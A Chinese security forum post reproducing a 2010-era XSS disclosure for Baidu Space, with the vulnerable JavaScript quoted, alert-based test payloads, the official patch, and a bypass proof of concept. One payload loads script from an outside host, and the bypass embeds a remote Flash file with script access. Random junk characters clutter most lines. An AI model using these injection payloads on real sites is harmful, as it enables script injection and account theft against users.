找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2333|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  ) H% v) A: L* J  v' ^

, O. V! h( |, J2 N- K, h9 c* i1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  # X0 ^2 u9 K/ C1 C  u+ [
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
) j  }. x% e$ ^6 r5 X
8 M9 T6 r' U" a将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
: W4 @  c1 y, l  b" W其中BdUtil.insertWBR为  6 G1 x5 R2 w. k! s
function(text, step) {  
4 t+ I7 U. h* D+ d7 U- A1 F4 ?1 @5 @    var textarea = textAreaCache || getContainer();  . U( O4 d- v0 K- o6 h
    if (!textarea) {  
' M( q  F2 {" o6 i5 W2 C- d# N  C& X        return text;  
7 E6 s1 O* F: d8 X# Q    }  1 ]+ P% I) ^5 ?  a
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
. b; z( b- m* _    var string = textarea.value;  9 D$ c* M! W. Q* k
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  : P$ e; Y/ W8 e3 ?' k& }( P7 s
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  0 D' h" Y; G: H9 O5 t
    return result;  - e$ O" J8 j2 ~+ E, j
}  , @5 |' b% r1 I: g2 `
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
  C3 Z4 d" B. f测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>    z5 `/ O% T  A8 g1 ?
   6 A, T. `8 i2 N6 U- z6 C; r
二:creatbgmusic() Dom-Xss Bug  6 N3 g' `8 A# X3 o8 ~7 c8 b
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  9 X8 ]3 l2 T+ O' ~! A' g0 D

0 @2 k  y$ f6 K8 y  c  h; Z2 u$ T在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
' w& ^  _) e- L: B  B# U9 a9 L- Z; h/ K4 \& x/ ^
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
/ I  S* [( }- F3 N    //传入的murl赋值到bgmusic1和bgmusic2中  9 Q& d( U6 V9 \  {) y
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
& Y* b# V. z  z! g    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  : D: d; j1 d2 c" q
    if (musicnum <= 1) {  4 y) H7 A! |2 i1 I7 R
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
& l5 I$ g: C) X8 C; y    }    p  a. J& l% l
    bgmusic1 += "</OBJECT>";  
+ c5 K  z# ?& p. e3 i$ ?    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
! u8 p7 n* W& I& M9 }7 E# V    if (musicnum <= 1) {  
. z. G) w+ S& S! a4 A        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
  y9 t7 H9 ~* J    }  
0 R$ a( R9 c! l7 G8 u, Q; T7 \1 f    bgmusic2 += "> </EMBED>";  / x9 q" }, j5 [; H
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
0 z% X2 J( A: u4 c    var bgmus = detectWMP();  
) [) K1 [9 O" }    if (functype == "FckMusicHelper") {  
8 W# t; _' P- E* U; A3 f) T- J# J        if (bgmus.installed) {  
  |5 J# x/ c- p! h1 y3 i; N! Z            if (bgmus.type == "IE") {  & X8 K$ X& l: |8 n# B, i! K- b
                return bgmusic1;  7 F6 _$ F; R( s
            } else if (bgmus.type == "NS") {  / _, c9 N+ t" D/ L
                return bgmusic2;  4 s9 `0 c* l1 j0 a1 B1 X
            }  ; Y5 E& [; J- J( Y2 ]' r& T
        } else {  
8 m+ H0 V4 v5 Q0 X; I! ?: O            return bgmusic3;  ; ~3 Z! i" W! A9 u" G
        }  
8 q" c/ R0 w8 A( j    } else {  
1 d: s# o) H) b6 H6 D# o; R        if (bgmus.installed) {  
3 `  j2 R3 q) M5 J5 J" s            //document.write 直接输出bgmusic变量 导致xss  
0 q& v2 {/ g+ _1 A7 j& V1 U( T            if (bgmus.type == "IE") {  % x6 ]' u. J  z3 s3 @% R; t
                document.write(bgmusic1);  3 I* O8 c% u, p! ^& Y% R0 ^2 i
            } else if (bgmus.type == "NS") {  . J. o/ y5 c4 l% K6 E8 M
                document.write(bgmusic2);  9 ^" c3 |8 j1 [% R9 n' c
            }  # O$ |: p  _# r
        } else {  - r9 K! u; O9 Z- R3 h# Q* j
            document.write(bgmusic3);  ' `" k0 ], @3 _: R  Z( B3 ?% t0 M) m
        }  , b0 E) l* N8 _+ n/ p
        return "";  7 a  y0 ^6 C: s6 d* y' L3 w
    }  6 \0 d" K2 N$ H
}  0 u, l1 D9 N3 m4 |6 L; e

/ N- l) [- {. t+ D2 d在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  * }4 S5 ?) O! @) y. r
9 W5 ?, _& d) T" X! l7 m
function initBlogTextForFCK(){  
! S. |( w( Y: ~* }1 Q, A//fck init music  
) R1 ^5 Y* Y. c3 Y2 vif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  * P) B  V( `# |& x% q# \5 o: w
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  . Y1 L) }$ W5 v+ A0 }- i# E
var isAutoPlay=true;  ; g" G' u3 C& U  a: V$ R
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  + v- A: Z3 H& _3 j* E1 Y
  var img=imgBox;  
+ v# p7 i9 a* d; `4 l  if(img.getAttribute(’rel’)){        
. J" c2 f) a8 P: f, w: }   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  ) [6 X: y8 h. h: D) W
   var musicDiv = document.createElement("SPAN");  + [- a3 x0 J8 }) }4 u
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
9 ^% ]. x( ?- A0 }     ( h$ P' ?8 A! |0 L! q# T
      ..........................  # x& T+ e3 C+ h- k! n: A% y1 d
     2 s; k" p6 n2 Y. `+ M. L/ N9 p
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
: b* `' `9 B0 t  I% j5 S2 I: k5 S   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  + s3 |3 u' N( c+ X) T
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
4 G" ^! D) }  e# b$ m8 A  A; {2 b   musicDiv.innerHTML=shtml;  / S* _" n6 P5 d
   i--;n--;  
+ {/ }  m/ F9 ~3 N: u' z* c! v  }  7 m1 k+ r. h4 n7 u1 `4 ^/ k
}  $ N( g( i3 _8 `) x& D) A9 O
3 T5 X; ^8 J; a
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  * ?6 @8 N' O  g+ I9 s- ~7 n
   
& s# J8 _' j+ G% b测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
* s8 g! n+ U/ y3 a8 a0 P* n0 G0 d8 t
, R8 {% ?5 c- v0 G& A2 m等待官方补丁  
2 L; P$ J( C# _7 Y
$ J. S' K  g! p4 s9 Xupdate 2010年5月13日   4 |" v4 c3 u4 `! P  z
) n6 k: A( n' w% t
官方补丁:  
  ?0 o7 k, H% m+ t. K
% C; W2 A% K5 G" _; t! cvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  # M1 r$ c1 p/ C! ^0 ]2 b% `
改为:  
8 T  a, E* }: b- h3 \  W/ t0 u$ Tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
( |* ]/ G7 }( n/ _/ ^. D# `
4 J, w3 \/ N8 ?1 d/ vupdate 2010年5月13日 21:50:37  2 r- x  r6 F8 c1 T0 E$ [4 s* w1 `

% S+ X6 e; d7 f/ W. r4 H' Q5 D补丁存在漏洞 没有过滤" 可以继续跨:  $ A% f6 ~  S+ ]+ e2 J1 r8 z
# v5 r3 q# M4 U9 l+ @0 N
NEW POC:  
: j, Q& Y: Q2 \5 Q) `& M. l
) R* o4 G& C- ?( A+ v; j<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
3 {" `- o9 i6 o, T# w5 E/ l9 N1 ^, A/ |/ R8 U
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
) s1 K' G0 H  ~5 ]9 }" { / O& f6 E# y7 J. j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表